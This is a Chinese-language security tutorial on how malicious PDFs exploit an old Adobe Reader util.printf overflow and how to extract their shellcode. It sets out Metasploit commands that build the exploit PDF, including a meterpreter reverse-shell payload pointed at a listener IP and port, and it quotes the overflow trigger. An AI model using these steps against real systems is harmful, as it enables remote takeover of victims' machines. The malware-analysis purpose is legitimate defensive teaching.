當前位置:
首頁 > 新聞 > 詳細分析從惡意PDF文檔中提取Payload的方法

詳細分析從惡意PDF文檔中提取Payload的方法

概述

當前,PDF的文檔格式非常流行,幾乎人人都會使用到,也正因此,許多攻擊者都將惡意PDF文檔作為感染用戶的一種主要方式。更具有威脅性的是,當前還存在許多Acrobat Reader漏洞的利用方式,攻擊者如果藉助這些漏洞,那麼惡意軟體將以一種隱蔽和直接的方式感染到用戶主機上。

在本文中,我們將主要講解攻擊者如何使用特製的Shellcode製作惡意PDF並觸發漏洞從而執行Payload,你會發現這一過程是多麼簡單。此外,本文將重點對惡意PDF進行分析,以掌握Payload的存儲方式及提取方法。

注意:本篇文章僅側重於技術研究,僅限各位讀者學習交流,請勿用於惡意用途。

關於PDF格式

PDF是一個由Adobe定義的文件格式,該格式的特點是面向對象。在這一格式中,保存了文檔的組織結構,同時也保存了所需的依賴關係(包括字體、圖像等)。這些對象以流的形式存儲在文檔中,並且大多情況下會被編碼或壓縮。下圖是一般PDF文檔的概述。如果想了解更多信息,請閱讀Abode發布的官方規範:http://partners.adobe.com/public/developer/tips/topic_tip31.html 。

攻擊者如何構建惡意PDF

在這裡,我們將嘗試用Metasploit創建一個偽造的PDF,其中包含一個漏洞利用的嘗試,一集一個自定義的Payload(要執行的代碼)。我們利用的漏洞針對特定版本Adobe Reader,因此我們需要找到一個古老的Reader版本(在這裡,要感謝 http://www.oldapps.com/ ),並在目標主機上安裝。

首先,我們來製作這個PDF。我們將製作一個只在主機上打開計算器(calc.exe)的「惡意PDF」,僅用於演示。打開Metasploit控制台,並輸入:

use exploit/windows/fileformat/adobe_utilprintf

set FILENAME malicious.pdf

set PAYLOAD windows/exec

set CMD calc.exeshow options

exploit

如下圖所示:

將剛剛創建的文件(路徑為:/home/osboxes/.msf4/local/malicious.pdf)複製到共享驅動器上,我們需要藉助共享驅動器來傳播該文件。

執行惡意PDF

在目標計算機上,下載並安裝易受攻擊版本的Adobe Reader(根據Metasploit的信息,易受攻擊版本號應該小於8.1.2),因此我選擇安裝了8.1.1版本。

在安裝後,執行malicious.pdf文件,我們能夠看到從Adobe Reader進程派生出的計算器程序,這也就是漏洞利用的成功實現。

同時,我還製作了另一個PDF,但稍微調整了Payload,只是為了好玩:

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.1.29

set LPORT 4455

現在,Adobe Reader就有了一個後門(反向Shell),用於監聽發送到被感染主機的命令。

對惡意PDF的分析

在實際嘗試之後,我們來分析惡意PDF中的內容,也就是嘗試著提取惡意Payload。在這裡,我們仍然使用附帶calc.exe的PDF。

首先,我們需要使用一個名為PDF Stream Dumper的工具,該工具的下載地址是:http://sandsprite.com/blogs/index.php?uid=7&pid=57 。我們先要熟悉該工具,然後使用此工具來載入惡意PDF。

第一步,可以嘗試著利用這個工具的「Exploit Scan」功能,檢測某些潛在漏洞:

Exploit CVE-2008-2992 Date:11.4.08 v8.1.2 - util.printf - found in stream: 6

實際上,在編號為6的流中隱藏了一個漏洞。

我們來詳細分析一下:在PDF中尋找漏洞時,我們大多數情況下會遇到由JavaScript代碼創建的堆噴射(Heap Spray)。這一堆噴射,用於將Payload發送到堆上,一旦漏洞被觸發,就可以執行。

如果打開編號為1的流,可以看到如下內容:

/Type/Catalog/Outlines 2 0 R/Pages 3 0 R/OpenAction 5 0 R

接下來,可以在編號為5的流上,將其轉換為OpenAction。讓我們具體看看:

/Type/Action/S/JavaScript/JS 6 0 R

其中,我們要執行編號為6的流上的JavaScript。這個流中,只顯示JavaScript的簡單內容,我們需要打開「Javascript_UI」菜單來進行詳細查看。通過這一步驟,我們立即識別出一個十六進位編碼的大字元串(Big String),並將其放入變數中,用於堆噴射。我們的Payload如下:

幸運的是,我們有好用的工具來對它進行操縱,並進一步了解它的作用。選擇Payload(引號之間的部分),然後打開「Shellcode_analysis」菜單,然後選擇「scDbg – LibEmu Emulation」,我們就能夠在新打開的窗口中獲得解碼為位元組的Shellcode(也可以將其保存到文件中):

LibEmu是一個能夠模擬處理器的庫,它提供了有關彙編代碼嘗試執行操作的信息,只要點擊「Launch」按鈕即可。

在這裡,我們能夠直觀地看到,Shellcode打開了一個calc.exe窗口,然後就會退出。

讓我們重新對其他惡意PDF(反向Shell)進行相同的分析:

在這裡,Shellcode在載入操作套接字所需的庫(ws2_32.dll),並嘗試連回C&C伺服器。

至此,我還沒有提供漏洞的詳細利用方式,為了防止惡意利用,我只能簡單介紹。這一漏洞位於JavaScript代碼的末尾(正如我們搜索漏洞利用方式時看到的那樣,在編號為6的流中找到了「util.printf」)。該方法是利用printf函數上的緩衝區溢出漏洞來執行惡意代碼,在這裡是我們堆噴射的Shellcode。

util.printf("%45000.45000f", 0);

參考鏈接

http://www.sans.org/reading-room/whitepapers/malicious/owned-malicious-pdf-analysis-33443

http://www.oldapps.com/adobe_reader.php

http://contagiodump.blogspot.fr/2010/08/malicious-documents-archive-for.html

http://contagiodump.blogspot.fr/2013/03/16800-clean-and-11960-malicious-files.html

http://eternal-todo.com/blog/cve-2011-2462-exploit-analysis-peepdf

http://blog.9bplus.com/analyzing-cve-2011-2462/

https://www.fireeye.com/blog/threat-research/2012/07/analysis-of-a-different-pdf-malware.html

http://resources.infosecinstitute.com/analyzing-malicious-pdf/

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

新的藍牙高危漏洞被發現,或影響數百萬台設備
利用發件人策略框架自動進行反網路釣魚攻擊行為偵察

TAG:嘶吼RoarTalk |